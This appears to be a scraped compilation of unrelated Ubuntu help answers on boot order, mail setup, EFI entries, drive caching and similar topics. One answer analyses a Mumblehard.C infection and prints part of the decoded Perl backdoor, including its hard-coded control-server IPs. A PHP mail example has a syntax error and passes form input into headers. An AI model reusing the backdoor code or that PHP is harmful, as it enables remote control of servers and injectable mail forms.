Set the Boot Order so that Windows is last. Exit, saving changes, and allow the boot to proceed.  It will boot to Ubuntu.


Set default page zoom level in Epiphany (GNOME Web browser)

Im using Epiphany on a Raspberry Pi. From the browser, I selected Settings → Preferences → Fonts and Style → Use Custom Stylesheet, and then wrote a stylesheet (which needs to be at /home/pi/.config/epiphany) to change the size of the text. However, this is not ideal because the CSS settings can be over-ridden by the pages visited. As I’m new to this, I’ve yet to discover where the Use Custom Stylesheet setting is actually stored.


Check your /etc/apt/sources.list files, uncomment the deb-src lines.

Then run sudo apt-get update and try to use sudo apt-get source nginx again.  It should then work to download the source.

(The "Sources" information isn't downloaded for what sources are easily available until you enable then by uncommenting the deb-src lines in your apt lists.)

Note you also need the build dependencies - sudo apt-get build-dep nginx should help you get those.


Post-login scripting for Dovecot not working

The documentation says you to change the  mail_executable parameter.

mail_executable: /usr/lib/dovecot/logon.sh

and the IMAP/POP binary is called from within your script. Check the following comment in the document

# Finally execute the imap/pop3 binary. If you use both, you'll need two scripts.
exec /usr/local/libexec/dovecot/imap "$@"

I am not sure if version 1.x supports specifying multiple scripts via mail_executable


Can you configure postfix in ubuntu to send a automated email when a user submits php webform?

If you have a form in PHP, why not use PHP to send the mail? Is there any reason to use a third language to accomplish this?
Simply configure the sendmail_path in php.ini and use PHP's mail() function.

Summary of the instructions

Start by configuring PHP to use sendmail, by modifying sendmail_path in your php.ini file.
Open /etc/php5/apache2/php.ini in a text editor.
Update the line already containing sendmail_path. If no such line exist, simply add it on a new line.
It should look something like this:
sendmail_path = "/usr/sbin/sendmail -t -i"

Now you can use a simple PHP script to send mail instead of saving it to a database first. There might still be good reasons for saving the mail to a database, such as logging and traceability, but there is nothing preventing you from combining the two methods.

Replace your PHP code with the following (Note, this is untested code, so make sure you understand it and test it before putting it into production)

<?php
if (isset($_POST['Enter'])) {
    $to      = $_POST['name'] . ' <'$_POST['email'] . '>';
    $subject = 'Hello ' . $_POST['name'];
    $message = 'Welcome to the mailing list';
    $headers = 'From: webmaster@example.com' . "\r\n" .
        'Reply-To: webmaster@example.com' . "\r\n" .
        'X-Mailer: PHP/' . phpversion();

    mail($to, $subject, $message, $headers);
}
?>

The additional headers can be ommitted, but you should probably keep at least the "From" header.


Why do I get the same FPS with "optirun glxspheres64" in comparison with just "glxspheres64"?

I did it dude!

Just delete Bumblebee

sudo apt-get purge bumblebee*

And then just say "hello!" to Nvidia-Prime

sudo apt-get install nvidia-prime

After selecting your graphic card from nvidia-settings, (intel or nvidia)

you should log out and come back. (Unfortunately after every changes)

new glxspheres64 outs;

./glxspheres64

Polygons in scene: 62464 (61 spheres * 1024 polys/spheres)
Visual ID of window: 0x62
Context is Direct
OpenGL Renderer: GeForce GT 750M/PCIe/SSE2
1278.419990 frames/sec - 1426.716709 Mpixels/sec
1313.904494 frames/sec - 1466.317416 Mpixels/sec
1319.530930 frames/sec - 1472.596518 Mpixels/sec
1315.465344 frames/sec - 1468.059324 Mpixels/sec
1319.271645 frames/sec - 1472.307156 Mpixels/sec

Finally good results :)


Make the path change at the end of the /etc/profile file:

export PATH=${PATH}:/path/of/ocsagent


So, the way to check it - enable only UEFI mode in BIOS settings - Del or F2 at boot screen (or its possible to choose type of boot at boot time on some hardware, by pressing F12 or like so - look at boot screen for options and choose UEFI boot) and try to boot another OS. If it boots fine or no other OS needed - then choose UEFI install, otherwise choose BIOS compatibility.

If other OS fails to boot, enter BIOS settings and revert all booting options back as before. And install Ubuntu in BIOS compatibility boot.

@Soren It says "may be existing OS installed in...".


How can I change the cache mode of a USB drive

If you're using USB 2.0 (I hope you're not) the speed will be much less than that of a typical HDD. Anyway, since you've asked the settings are in /etc/udisks2/IDENTIFIER.conf where IDENTIFIER is the concatenated (and hyphenated) value of disk MODEL and SERIAL.
1. Find the configuration file
You can get the MODEL and SERIAL of your disk by using the command
udisksctl status

It will report something like this
MODEL                     REVISION  SERIAL               DEVICE
--------------------------------------------------------------------------
WDC WD1600BEVT-22ZCT0     11.01A11  WD-WXE808S69993      sda
HL-DT-ST DVDRAM GSA-T20N  EV02      M2L87NG3612          sr0

To form the file name, I'll first replace the spaces with - in model. It's now WDC-WD1600BEVT-22ZCT0. And then concatenate the serial with -. The result is WDC-WD1600BEVT-22ZCT0-WD-WXE808S69993. So, in my case the settings file is in /etc/udisks2/WDC-WD1600BEVT-22ZCT0-WD-WXE808S69993.conf
2. Edit configuration file
In that file there should be ini file like entries and Section. Under [ATA] section, create an entry with this key-value WriteCacheEnabled=true.
# See udisks(8) for the format of this file.
[ATA]
WriteCacheEnabled=true

Save the file. The settings should take effect after a reboot.


Most people should either install Wine through Ubuntu's official repositories, or using the Wine project's official Wine PPA.

However, if you want to build and install Wine from source, you should be able to do so.

This may make sense if you want to install a later version of Wine than is provided for your Ubuntu release. However, as BuZZ-dEE has pointed out, although there is no wine1.4 package for Ubuntu 10.04 in the official PPA, the wine1.3 package actually provides version 1.4. (This is indicated by the complete version number--1.4-0ubuntu1~ppa1~lucid1--and can be verified by looking in the file called VERSION in the wine1.3_1.4.orig.tar.gz file linked here.)

Therefore, Buzz-dEE's answer is god advice; I recommend you just use that package, unless you have specific needs that require your to compile from source. (Or you want to use the unstable 1.5 version, which is not provided for Lucid.)

However, if for any reason you wish to build from source, please read on.

You will need the development packages that provide header files for the libraries it uses. That's the cause of the error message you're getting.

To resolve this particular error, you'll need the package called libx11-dev.

-dev packages provide header files. libx11-dev is not the only such package you'll need, to compile Wine from source. I recommend taking a look at the build dependencies for the development version of Wine in Ubuntu. (Scroll down to where it says "Build dependencies.") That should give you a good idea of which -dev packages you'll need to install, for Wine to be able to compile.

If you use 64bit version of Ubuntu, this error message may appear if you're trying to compile 32bit wine, so you'll need some 32bit libraries to do it: libx11-dev:i386 and libfreetype6-dev:i386


cant fix grub 2 and gparted shows unallocated disk

If you're very very lucky, the problem is modest damage to your partition table, which FixParts will repair more-or-less automatically. See the program's documentation for details on how to use it.

If you're less lucky, you'll need to use TestDisk or something similar to recover your original partitions. This program actively scans for filesystems and creates a new partition table to hold anything it finds.

If you're unlucky, your filesystems have been partially or completely overwritten, in which case your only hope is to use PhotoRec or something similar to recover individual files. This process is almost certain to be tedious, and you may end up sorting through files to figure out what they are, since PhotoRec does a poor job of recovering filenames. Also, you must have another physical disk on which to store the recovered files.


Is there a way to open an appliction from Internet Browser?

An URL consists of not only an address, but also of a protocol. The latter is what the apps directory uses to open the Software Center.

The link on the Gnome Schedule page points to apt://gnome-schedule. Your browser has been instructed to redirect apt:// links to the Software Center. In technical terms, the Software Center has been registered as a protocol handler for the apt:// protocol.

This only works because both the website and your system know about the protocol.


Moka icon theme doesn't apply correctly Ubuntu 13.10 64bit

Have you tried exactly same as following commands-

sudo add-apt-repository ppa:snwh/moka-icon-theme-daily
sudo apt-get update
sudo apt-get install moka-icon-theme

if yes then try to install moka-icon-theme-extras by

sudo apt-get install moka-icon-theme-extras

because all the icon stuffs is a part of it. If it will work then also some icons like in System settings for hardware and all wont work , because this bug is still alive and not been solved yet for saucy.


Cleaning up and changing the EFI boot order permanently using eifbootmgr

Type sudo efibootmgr -v to view your current boot entries. After you type your password, you'll see something like this:

BootCurrent: 0003
Timeout: 0 seconds
BootOrder: 0003,0002,0000,0001
Boot0000* rEFInd Boot Manager   HD(1,28,96000,bc34b60c-6611-492f-99b0-d2c37bd77f48)File(\EFI\refind\shim.efi)
Boot0001* fedora    HD(1,28,96000,bc34b60c-6611-492f-99b0-d2c37bd77f48)File(\EFI\fedora\grubx64.efi)
Boot0002* rEFInd (via PreLoader)    HD(1,28,96000,bc34b60c-6611-492f-99b0-d2c37bd77f48)File(\EFI\refind\PreLoader.efi)
Boot0003* ubuntu    HD(1,28,96000,bc34b60c-6611-492f-99b0-d2c37bd77f48)File(EFI\Ubuntu\grubx64.efi)

Your details will be different, of course. You need to identify your entries and figure out the order in which you want them to appear. For instance, suppose you had these entries you wanted to boot rEFInd via shim by default, then rEFInd via PreLoader second, followed by Ubuntu and then finally Fedora if all the others fail. The desired order would then be 0000,0002,0003,0001. You can then specify that order via the -o option to efibootmgr:

sudo efibootmgr -o 0000,0002,0003,0001

The output will include a less verbose repeat of the original output, with the BootOrder line changed appropriately. Double-check that your changes are correct, then reboot to test that it's working. (Unfortunately, some EFIs are buggy, and there have been bugs introduced by mismatches between efibootmgr and the kernel in recent months.) If you have problems, there are ways to fix it with an EFI shell and its bcfg command, but I'll omit the details unless you report back that efibootmgr doesn't work.


This appears to be the payload from the Mumblehard.C backdoor. This file allows arbitrary code execution from the control servers listed in the file and would be able to execute with the permissions of the www-data user.

I would certainly backup your data and reinstall however the scope of this backdoor should only be the www-data user and was likely due to an out of date WordPress installation.

It's intentionally making it hard to kill. You can instead kill all processes running under the www-data user if you need to try to mitigate it while the system is still running.

The file in /var/tmp is a perl script that encodes another perl script using uuencode format. You didn't include the whole thing but here's what it looks like as plain text so far:

#!/usr/bin/perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
$0 = "mail"; $| = 1; &main();
sub main
{
exit 0 unless defined (my $pid = fork);
exit 0 if $pid;
POSIX::setsid();
$SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
umask 0;
chdir "/";
open (STDIN, "</dev/null");
open (STDOUT, ">/dev/null");
open (STDERR, ">&STDOUT");
my $url = ["77.72.83.137","93.88.74.243"];
my $rnd = ["a".."z", "A".."Z"]; $rnd = join ("", @$rnd[map {rand @$rnd}(1..(6 + int rand 5))]);
my $dir = "/var/tmp"; if (open (F, ">", "/tmp/$rnd")) { close F; unlink "/tmp/$rnd"; $dir ="/tmp"; }
my ($header, $content);
my ($link, $file, $id, $command, $timeout) = ("en.wikipedia.org", "index.html", 1, 96, 10);
foreach my $rs (@$url)
{
$header = "$dir/" . time; $content = $header . "1";
unlink $header if -f $header; unlink $content if -f $content;
&http($rs, $timeout, $header, $content, 0);
if (open (F, "<", $header))
{
flock F, 1;
my ($test, $task) = (0, "");
while (<F>)
{
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$test ++ if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close"; $task = $1 if /^Set-Cookie: PHPSESSID=([^;]+)/;
}
close F;
($link, $file, $id, $command, $timeout) = &decxd($task) if $test == 2 && length $task;
}
unlink $header if -f $header; unlink $content if -f $conten

This appears to closely parallel the code from here:

http://hardwarefetish.com/681-mumblehard-c-trojan-unpacked

Where 77.72.83.137 and 93.88.74.243 are the control servers. Both these IPs are registered in Russia and are for VPSs. One of the IPs are listed for spam activity:

https://mxtoolbox.com/SuperTool.aspx?action=blacklist%3a93.88.74.243&run=toolpage

As these IPs get indexed in search engines expect the attacker to disable them automatically. Although I doubt it much matters since the VPSs aren't going to help you out legally anyway.


Wrong RAM values in indicator-multiload popup

GiB differs from GB. 1 GiB is 1,073,741,824 bytes. 1 GB is 1,000,000,000 bytes.

7 GiB is 7,516,192,768 bytes, which is about 7.5 GB.


sidebar and top menu disappear after update in 14.04

Try this

dconf reset -f /org/compiz/

then

setsid unity


Ubuntu gparted doesn't detect windows partition

I didn't use fixparts. While booted from ubuntu, i decided to lose all my data on hard drive since i had that backed up to an external hard drive. So i repartitioned the drive with gparted. There were stray GPT entries. Created a ntfs partition for windows, ext4 for ubuntu and a linux swap. Installed windows and then ubuntu. Solved!


Based on the lead from @steeldriver, I learned that Ubuntu 16.04 has a package in its standard repo for gcc-4.8 and g++-4.8. I installed g++ and a few other packages needed for building Asterisk 1.8:

apt-get install g++-4.8 libcurl4-openssl-dev libncurses5-dev libxml2-dev

This installs g++4.8 as a distinct binary from g++ version 5.3.1, which is also installed. I just need to configure the Asterisk build to use g++4.8, and build:

./configure CXX=g++4.8
make -j4
make install

And eureka! It worked! I built this outdated version of Asterisk 1.8 on Ubuntu 16.04.


How to install another copy of the program via PlayOnLinux?

You need to start PlayOnLinux and then click Install button here. It will create new Wine prefix for you. Follow the wizard.


Ubuntu queries SNMP devices on system startup

It might be CUPS scanning for printers to autodetect. Try removing the "cups-browsed" package if it's installed.


How to configure a bridge interfaces with DHCP in 16.04 LTS?

The best way to do an AP is to use hostapd, it will configure the wifi iface and set it as a slave of your local bridge.

Install hostapd

$ sudo apt-get install hostapd

It is very simple to configure with a single configuration file /etc/hostapd/hostapd.conf.
Replace the following options :

interface=wlan_local
bridge=bridge_local
ssid=<your_ssid>
password=<your_password>
country_code=FR // <- in my case

Replace the line bridge_ports eth_local wlan_local with bridge_ports eth_local from /etc/network/interfaces

Restart networking using systemctl restart networking

Start hostapd using systemctl start hostapd

Once hostapd is started your wifi iface is become a member of the bridge and then DHCP will be forwarded through the bridge.

And Voilà


How to make grub2 recognize other Ubuntu installations again?

In parted and GParted, an ESP is identified by a "boot flag," but there's no such thing as an "esf flag" in either program. Thus, it's unclear to me what you mean by that. Please check it and report the actual "flags" set. It's unlikely that this detail is directly related to your problem, but it might be.

AFAIK, current versions of GRUB should recognize older Ubuntu installations. If yours is not doing so, you should consider filing a bug report. A post here does not qualify, since it will be sheer chance if the right Ubuntu developer sees a post here.

One possible legitimate reason that auto-detection might not be working is that your older installations might be missing or damaged. You should post a link to the RESULTS.txt file generated by Boot Info Script (installable as boot-info-script in Ubuntu) so that others can examine your configuration for evidence that this is or is not the case.

Two alternatives occur to me if you're having problems with auto-detection of OSes that are actually present:

You can manually edit your GRUB configuration file. You'll need to know enough about your other installations to identify them to GRUB.
You can use another EFI boot loader for Linux. Most of these will require manual configuration, but my rEFInd may be able to pick up your other installations with little or no configuration.


Remove Duplicate Icons In Show Applications

After upgrade from Ubuntu Mate 19.04 to 20.04 I have received issue with double icons of network-manager in the tray.

According to answer of Kemin Zhou I have check my $HOME/.local/share/applications folder and I found there 3 files: mozo-made.desktop mozo-made-1.desktop mozo-made-2.desktop. I have removed files: mozo-made-1.desktop mozo-made-2.desktop and then rebooted the system and my issue with double netwok-manager icons was resolved.


There are two possibilities.

The script itself doesn't have execute permissions.  Solution:

chmod +x script-name

(less likely) The interpreter specified on the shebang line is not executable.

Normally the first line of the script should be:

#!/usr/bin/perl

If it is, and if the script itself is executable, then try this:

if [ -x /usr/bin/perl ] ; then echo ok ; else echo OOPS ; fi

or, if your default shell is csh or tcsh:

sh -c 'if [ -x /usr/bin/perl ] ; then echo ok ; else echo OOPS ; fi'

If that prints ok, then something very strange is going on.  If it prints OOPS, then your Perl interpreter is not executable -- which probably indicates that it was installed incorrectly.  If that's the case, I'm not going to suggest a quick fix.

Another thought: Does the message result from executing the script itself, or from something it does?

Do you see the error when you execute the script from a command line?  If so, if you add

print "Hello\n";

near the top of the script does "Hello" appear before the "Permission denied" message?  If so, then the problem is somewhere in the script (about which we have no information).  You should be able to narrow it down yourself.